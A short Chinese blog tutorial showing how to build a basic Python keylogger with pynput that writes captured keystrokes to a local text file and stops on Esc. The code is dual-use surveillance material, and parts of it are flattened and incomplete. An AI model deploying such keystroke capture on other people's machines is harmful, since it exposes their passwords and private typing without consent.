python 實現的鍵盤記錄器 小功能
阿新 • • 發佈:2021-02-09
目錄
一、安裝pynput模組
PS C:\WINDOWS\system32> pip install pynput Looking in indexes: http://mirrors.aliyun.com/pypi/simple Requirement already satisfied: pynput in f:\develop\python36\lib\site-packages (1.7.2) Requirement already satisfied: six in f:\develop\python36\lib\site-packages (from pynput) (1.10.0)
二、編寫程式碼
1、引入鍵盤模組
from pynput.keyboard import Key, Controller,Listener
import time
2、讀取鍵盤操作
記錄鍵盤操作,並將記錄寫入D:\keys.txt路徑下
def on_press(key): global keys string = str(key).replace("'","") keys.append(string) key_rcord= "".join(keys) if len(key_rcord)>15: with open('D:\keys.txt', 'a') as f: f.write(key_rcord) keys= []
3、設定停止記錄觸發事件
當按到鍵盤esc時,停止執行記錄程式
def on_release(key):
if key == Key.esc:
return False
4、啟動監聽
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()